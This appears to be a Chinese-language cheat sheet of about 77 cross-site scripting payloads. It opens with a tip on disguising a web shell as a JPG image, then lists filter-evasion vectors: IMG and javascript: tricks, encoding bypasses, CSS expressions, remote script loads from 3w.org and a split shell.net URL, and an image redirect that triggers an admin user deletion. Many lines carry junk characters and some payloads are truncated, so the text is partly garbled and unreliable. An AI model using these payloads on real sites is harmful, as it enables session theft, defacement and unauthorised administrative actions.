跨站图片shell3 n- L6 n4 b$ [, V% r1 N' C$ H. R
XSS跨站代码 <script>alert("")</script>: g6 {1 [1 B$ B# E) t5 |
. z4 W% r$ ~3 ^- U将代码加入到马的第一行,将马改成JPG图片格式,访问图片格式的马时,也会执行我们的马
0 \) x) L3 u8 A, ~6 L- c6 N) c# a0 t, [
- I8 \" ?- N+ I$ J
1 d4 F4 E( a! @7 Q z% }4 _1)普通的XSS JavaScript注入! V6 u0 } Q4 h2 m
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT> c3 C* Z+ E* Q9 c
5 P( o2 h2 U# z! H7 D$ } q
(2)IMG标签XSS使用JavaScript命令
4 C6 K. g) G! G& f2 E9 e<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
0 o& _. e/ ~* q7 z4 }4 z4 C3 b. r) |1 p8 b T- x; a
(3)IMG标签无分号无引号
: E$ N6 Z& s5 @) |0 P<IMG SRC=javascript:alert(‘XSS’)>
: y6 ~ l* \+ T5 _3 p2 U) B4 g* x5 D. x: W! |: } @
(4)IMG标签大小写不敏感
* b" B+ V( [7 `* B<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
4 q/ A4 O, P& @3 i3 Q/ y7 N0 M, s$ v7 W! v" I4 e3 p
(5)HTML编码(必须有分号)$ a9 Y3 r& s- h6 m# I
<IMG SRC=javascript:alert(“XSS”)>1 r U3 s/ H+ X5 A6 H8 s2 T, g( U
! ?4 j5 j# R# X, x5 i, I(6)修正缺陷IMG标签
1 @5 ?& d6 }3 @& }2 s<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
8 v) r! H9 ~6 F3 C7 [! s7 \5 ~. y, V
(7)formCharCode标签(计算器)7 q0 d7 a0 H1 \7 F2 U* N& S
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>* z1 X4 X5 d C# B
8 Z- p# K3 G7 L; m' }* X+ O' V% h
(8)UTF-8的Unicode编码(计算器)
# N, ?0 a7 @; p3 P9 x<IMG SRC=jav..省略..S')>. ^: J+ _; S8 I1 C
$ L' P5 i0 X" o
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)- Z* F+ h4 T3 J
<IMG SRC=jav..省略..S')>
' l5 K$ m( D5 y3 m2 p
& b/ U1 D* ^( Z+ }7 t- J q(10)十六进制编码也是没有分号(计算器)
3 K. u$ A+ ?8 |1 ^! e8 T: w' m/ ~<IMG SRC=java..省略..XSS')>
1 R# u V( r7 y$ ]& i& n" K1 M0 U; ]; B7 J
(11)嵌入式标签,将Javascript分开0 m2 t/ U6 I( y+ P0 C
<IMG SRC=”jav ascript:alert(‘XSS’);”>( v" y6 {) u1 I
1 }) L! g. z7 V) e8 A) l! U2 E(12)嵌入式编码标签,将Javascript分开
& p" k B7 p8 c. g3 `$ l<IMG SRC=”jav ascript:alert(‘XSS’);”>/ {& G! |2 d2 ~- W" h& \' k
$ p' g5 q+ F& p( r
(13)嵌入式换行符5 l- J8 q7 \. F: V% _
<IMG SRC=”jav ascript:alert(‘XSS’);”>: Z. q+ L2 ?! `8 s1 T. R9 G
7 x" B4 H6 s7 Z- ?- A7 `" C) a
(14)嵌入式回车
9 @9 }) ~# M& B9 T6 q3 L<IMG SRC=”jav ascript:alert(‘XSS’);”>
9 z+ |5 Q E* L% |3 S9 |
% U7 L# f2 u: t' }1 m; _(15)嵌入式多行注入JavaScript,这是XSS极端的例子4 G( z. a) q* L Q
<IMG SRC=”javascript:alert(‘XSS‘)”>
% v( i& [) T i
& D% x+ T2 I9 p' |( Z. r(16)解决限制字符(要求同页面)
( ~5 v7 e% p% ?<script>z=’document.’</script>2 M# y* U/ @: X1 B
<script>z=z+’write(“‘</script>
0 v3 ^( _8 h5 o8 \: q6 O<script>z=z+’<script’</script>
( B8 E5 S4 j( a<script>z=z+’ src=ht’</script>
0 v' u x$ [6 V<script>z=z+’tp://ww’</script>8 e! \# _! `; L* E$ ^, O+ l0 r) p
<script>z=z+’w.shell’</script>
3 ?2 ^: z" ^+ |" ^! ?$ N9 o0 w" r+ K<script>z=z+’.net/1.’</script># N9 L; g/ c+ y" Q; r1 S& |
<script>z=z+’js></sc’</script>
: \/ Y2 }5 K/ F' R% ]<script>z=z+’ript>”)’</script>
/ M {$ ^) i- w- d; j<script>eval_r(z)</script>
9 ^) K9 |2 A# |6 C+ ]/ H/ I1 U3 f; v8 ~6 H2 c
(17)空字符9 A* X" ^- Y: S( K5 D; t% X+ V: w
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
. Z& d3 X3 p- r- }$ c+ t
6 S% U: C& h; n: G+ \" }(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
( q/ g8 N0 v, h) H; k! j6 Iperl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
4 `. a8 F9 j6 `0 N2 ]- u
, { e1 @# z7 H; i(19)Spaces和meta前的IMG标签
8 f: p- w4 O! x/ M; x& e<IMG SRC=” javascript:alert(‘XSS’);”>1 k( i9 W+ Z9 v" u: \6 c8 g2 b
+ q1 b: L/ T! f9 K(20)Non-alpha-non-digit XSS
/ D- R7 B4 c1 B1 t<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
2 G, X3 G2 O7 m1 l3 U; i) M& l' k
5 g, g; U0 q y- m(21)Non-alpha-non-digit XSS to 2, x: k! o* T* R: ~
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
+ M) P. \5 T$ v6 A6 p- E9 o# a2 d) z
(22)Non-alpha-non-digit XSS to 3
; @7 n- s) U; U0 X; X: C! q/ v/ r, p<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
. p, ?$ c, Y' s9 _ d* \: I) {' a1 X* J; a+ y3 t8 h
(23)双开括号1 o J8 n2 s6 N7 K( h' m+ o- d
<<SCRIPT>alert(“XSS”);//<</SCRIPT>, {! ^) ^. I$ [
" w; ?4 u' Y8 b. J8 Q(24)无结束脚本标记(仅火狐等浏览器)
$ ]. v4 R! Q9 W7 l9 Q<SCRIPT SRC=http://3w.org/XSS/xss.js?<B># a9 d/ G* }8 L/ j! U5 `
4 O- }% N" T0 K& [' ]& t0 N, [
(25)无结束脚本标记2. X/ ?! r* c: S/ E7 m
<SCRIPT SRC=//3w.org/XSS/xss.js>
# o% |0 g3 ~* c; U
. B" B& |3 ?0 r$ f0 b(26)半开的HTML/JavaScript XSS$ g0 V6 E, S5 l1 p3 G% g
<IMG SRC=”javascript:alert(‘XSS’)”
* [# @9 V; P% n( V) R( ^! \0 Y+ V6 ]+ ?6 H/ J# m
(27)双开角括号/ I: k5 A1 [9 Z# ^
<iframe src=http://3w.org/XSS.html <
& j0 [1 c M, V1 d+ s# ^- H" ~2 }2 R
(28)无单引号 双引号 分号
3 ~, J/ M- S4 i2 S) c, O<SCRIPT>a=/XSS/
: n( f& T0 j1 @* xalert(a.source)</SCRIPT>: v% _0 o7 a6 X' x
( z4 J" b7 n/ X# D' a(29)换码过滤的JavaScript2 |! G" q& S1 P5 m+ z
\”;alert(‘XSS’);//; R1 j' h4 S" k
. y% @1 P2 G8 P; f
(30)结束Title标签
! S8 s& ~ N3 q- q</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
. ^* p! i6 N4 E ~$ |) T
2 I* o% l' b8 g, m+ W" s$ h" `(31)Input Image
* v; \( v- F. ]; K( X<INPUT SRC=”javascript:alert(‘XSS’);”>: i R. G- `8 t. |: l$ ^
. E$ }8 o* l+ ]5 [' y: D
(32)BODY Image
6 n' H# Z- C6 g" u. I5 {<BODY BACKGROUND=”javascript:alert(‘XSS’)”>( ^* Q! {, H" _2 `7 c! L4 Z m6 h
) H$ v$ q; i! j. g(33)BODY标签0 i; l8 D3 X9 Z8 Z, f9 ~! F* d
<BODY(‘XSS’)>
# X5 X7 S5 C- I; b' W& a5 l; J5 E7 @; A5 Y
(34)IMG Dynsrc
# T% \( _2 q5 b9 @- i& [<IMG DYNSRC=”javascript:alert(‘XSS’)”>% }/ l7 z! R3 s8 |
5 K' d* g# h! o2 Y [* k
(35)IMG Lowsrc
, [, {. p2 T. m! \" |6 Q<IMG LOWSRC=”javascript:alert(‘XSS’)”>
( r6 Y6 \! R( o+ y
) ]/ p0 l0 {( O- a: X(36)BGSOUND
4 I) s: j$ X7 s" k/ Z O<BGSOUND SRC=”javascript:alert(‘XSS’);”>: v4 `$ C! O5 {& h: ?3 P3 {, Y
$ }9 G) P, T% p- T(37)STYLE sheet# A; [/ l) |* K0 ?0 Z; W, A" [& ?
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>5 ^( v8 G. ~- F! [
; S2 K! ^7 q' t8 ~' {8 a
(38)远程样式表
) e- \5 c) S' v<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”> B* \6 o" r ]; x# I# M9 U
8 R$ a. q p3 c+ ~(39)List-style-image(列表式)0 ]$ f( G3 Q4 ]9 Q8 N) h
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
* y6 O# z7 v6 p1 S1 S9 h" m+ w
0 O k- p' d8 J2 i(40)IMG VBscript
' c, P7 l0 i F7 t" k, T5 ^" Y<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS/ ~1 r2 m* \* x
0 z) ^- y" v( ^8 a/ K% v7 B
(41)META链接url
2 t& r: N: n# X5 U2 `" U, g<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>0 ^% |7 m+ h, {
: c9 B' w8 H# s/ q ]1 \6 f$ M1 i0 V
(42)Iframe
4 v2 |2 \( u3 r! ]<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
, r j8 R) l7 ?! d(43)Frame
+ P/ X: N( q5 ~' b* s<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>
6 J$ |$ Z' W3 t4 v0 c5 }
# ~9 j1 |1 ^2 a' i5 C(44)Table7 T# t Z0 s K% H; f
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
! T9 Z: z, i) T9 E, r, ?
; g! ~" Q6 H9 x1 l3 q6 b(45)TD& b* `: l3 H$ A' p
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”># n2 F" s- p$ |$ a
?1 `$ i( ]3 u+ K(46)DIV background-image5 J% c1 C( [$ B0 G2 q- R
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>$ d; V" [( v, r5 e, V
) g8 f2 u) I0 M8 B3 @5 b3 [
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
7 a' P. M7 ~/ m; h3 |<DIV STYLE=”background-image: url( javascript:alert(‘XSS’))”>
+ S- F+ \& z/ `+ Z- m* c5 h" @7 G3 B( p8 E: n
(48)DIV expression
& P/ ?" l. i; X% T0 K<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
+ k9 O' V1 q$ I
7 j4 D$ b& ]+ ~- U$ P7 e0 C( v(49)STYLE属性分拆表达1 L3 a# F! j: H' z% r% Q
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
: j! m" x( U' D! X& e
! y$ n# L2 y4 Z& m: e(50)匿名STYLE(组成:开角号和一个字母开头)
: {' K& t4 D( e. A0 @' M0 t; ]<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>, n" o4 I5 n* L# A. @9 x# u
+ G. I3 W# \) m, |. M
(51)STYLE background-image
" G2 {" ]# B) _" c5 e% C<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>( |3 X# S' P( L h4 x( T" |
2 X' c" Y+ y$ z% n& Q+ d0 I
(52)IMG STYLE方式
5 l/ q* H1 Q+ R1 t& z7 yexppression(alert(“XSS”))’>1 D- V, U' W- a: |
( c# l* F3 @5 D2 Y, ~
(53)STYLE background7 L1 L9 y. Q: X& B8 C9 I
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
5 _$ L$ o, N: _8 F+ d7 P
* |* ^- L% \% @" ](54)BASE; d& P, B/ i! y1 U1 F; l
<BASE HREF=”javascript:alert(‘XSS’);//”>
' J; {. d- L& ?4 f" r- J9 T# R+ x% i; L1 z
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
3 B* d( J8 j4 p3 a" |# }6 l<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
5 [2 G" {, [/ T$ e b' r" N( T, S8 d, o( \- N
(56)在flash中使用ActionScrpt可以混进你XSS的代码$ A; t8 t: i2 B1 c2 H3 Z
a=”get”;
5 G1 s2 \1 q/ sb=”URL(\”";! `8 [" c6 E B* O' W) t
c=”javascript:”;) g1 s# V2 \# V2 i9 }( {1 [
d=”alert(‘XSS’);\”)”;3 q2 R. |! R/ i/ `
eval_r(a+b+c+d);8 l' o+ j ?3 Z7 B- j& L# P- }
8 Y" b6 C/ E) n
(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
, d# e& P- M& m) h6 ` [! o3 t<HTML xmlns:xss>, C; {$ c' V% g+ L# e. [
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>
7 h2 g5 k, c2 a$ i<xss:xss>XSS</xss:xss>
5 d$ n l! c/ e& ]7 t7 D& R</HTML>0 F" P/ T! K, K5 G
# R% f; @' a+ v3 c3 o1 u0 i* H(58)如果过滤了你的JS你可以在图片里添加JS代码来利用" M) F" N% x; a
<SCRIPT SRC=””></SCRIPT>4 H5 n& Q1 C5 c$ z4 n
6 r5 z+ p4 @3 C) E: m' S4 i
(59)IMG嵌入式命令,可执行任意命令+ W, c1 ?! b+ z# i, n2 d6 k
<IMG SRC=”http://www.XXX.com/a.php?a=b”>
+ b8 \. O+ c* Y# T. y9 C' Q9 L4 F3 b% h4 U
(60)IMG嵌入式命令(a.jpg在同服务器)) z" k& C6 u- \3 ^- a7 m* }
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
- e3 v8 `* B" Z- M& b7 @" j9 E z- F
1 B% N( a% I I' v(61)绕符号过滤
& g: p1 x+ j N: v* O<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>
9 W5 v. Q7 u" C5 z1 a- c# B4 I. O4 Q O" Z r& f1 m5 q$ w: `
(62)
6 L, J8 E" i6 B<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT> y3 ^2 X" I# I; ~* w
/ ~" q4 s% D- u3 } _' l(63)
" S ^* d; d7 V8 a<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>9 s" y$ \$ t* f7 D0 c8 G
, P$ V% L2 X8 R& [6 \& W, K
(64), n/ A* B# X4 f( i. D
<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>; e1 d9 `0 g' v
3 d9 d& y6 a: o( e8 B% `) {
(65)( X# q/ n/ a' y" L6 y) I) ]
<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>
6 E% e9 }) D" E0 I' w" ^" f& r) I( R% h! ~8 Y- i0 P* O
(66)
, H. t# U" R' ]/ n<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>1 ~1 c( B& y& ?
1 i5 Z6 H7 F$ l- X2 R& E(67)
h! f8 w0 i- l5 e<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>& B7 l! |) p- D. @) g; L
. @3 a4 e* _6 L! X% z7 l* a. I
(68)URL绕行4 V8 a" i1 J& ^' b1 q
<A HREF=”http://127.0.0.1/”>XSS</A>
# ]+ E/ J1 ], E n3 |9 t. f! F
: m% ?3 i. T. ?3 c8 r2 i(69)URL编码 p& {* O) A* Y5 X# G4 B8 z; g
<A HREF=”http://3w.org”>XSS</A>" X7 T8 A( K2 ~- G w; f+ m, `6 \
7 [$ o1 b9 {# a _/ R+ ?, _+ n% `- T
(70)IP十进制
! y! E; X/ ]/ U" i, s<A HREF=”http://3232235521″>XSS</A>4 I5 x8 O% L( }3 M& V! c) o+ Q
% [; N; D/ x+ o9 H" v
(71)IP十六进制
. K. o- }8 `4 ?& g5 ^* L<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>( X. v5 {" v8 F( E& Q: r
# r j0 e* t+ Q8 W(72)IP八进制
5 r* U' k& W4 A" V5 N3 f2 u9 }<A HREF=”http://0300.0250.0000.0001″>XSS</A>$ |5 v( e" a9 t# z! D+ B
: q7 E' l8 Z0 z4 b2 W/ x& C; e: i
(73)混合编码
. h' p8 w e8 |' z8 h/ y<A HREF=”h) y! D$ d. v+ J% Q0 `$ r" A
tt p://6 6.000146.0×7.147/”">XSS</A>/ I) n5 X! H) S6 K% d
2 `: e: H7 H4 Y! l2 ~( O, u. A
(74)节省[http:]/ b, i, I+ G% N4 r- h# b
<A HREF=”//www.google.com/”>XSS</A>
. v/ x P" P ~' _# v4 R" M! g) p) S7 ?0 _
(75)节省[www]
9 f; @3 x% L6 f1 o# w<A HREF=”http://google.com/”>XSS</A>' A: \! }& d( A N, i7 E3 r% W
. S9 a1 W1 b5 O- f7 Z9 w0 s
(76)绝对点绝对DNS0 y) }, r W- t8 B; B3 w
<A HREF=”http://www.google.com./”>XSS</A>
# E2 D- l3 o4 ^2 a6 Y2 F! E1 V$ |9 g: U# R* V/ Z) N7 b
(77)javascript链接
5 s& V: r9 G* _ @2 i) g- g7 `<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A> O6 y2 K2 [6 [4 V: H/ w/ c
|